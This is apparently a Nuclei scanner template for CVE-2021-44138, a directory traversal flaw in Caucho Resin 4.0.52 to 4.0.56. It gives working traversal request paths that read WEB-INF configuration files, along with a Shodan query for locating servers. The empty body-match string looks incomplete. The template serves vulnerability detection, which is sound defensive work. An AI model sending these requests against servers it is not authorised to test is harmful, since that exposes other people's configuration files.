id: CVE-2021-44138 info: name: Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal author: carrot2 severity: high description: | There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request. remediation: | Upgrade Caucho Resin to a version higher than 4.0.56 to mitigate the vulnerability. reference: - https://nvd.nist.gov/vuln/detail/cve-2021-44138 - https://github.com/maybe-why-not/reponame/issues/2 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-44138 cwe-id: CWE-22 epss-score: 0.00867 epss-percentile: 0.80249 cpe: cpe:2.3:a:caucho:resin:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 2 vendor: caucho product: resin shodan-query: html:"Resin" tags: cve,cve2021,resin,caucho,lfi http: - method: GET path: - "{{BaseURL}}/;/WEB-INF/web.xml" - "{{BaseURL}}/resin-doc/;/WEB-INF/resin-web.xml" stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "" condition: and - type: word part: header words: - "text/xml" - "application/xml" condition: or - type: status status: - 200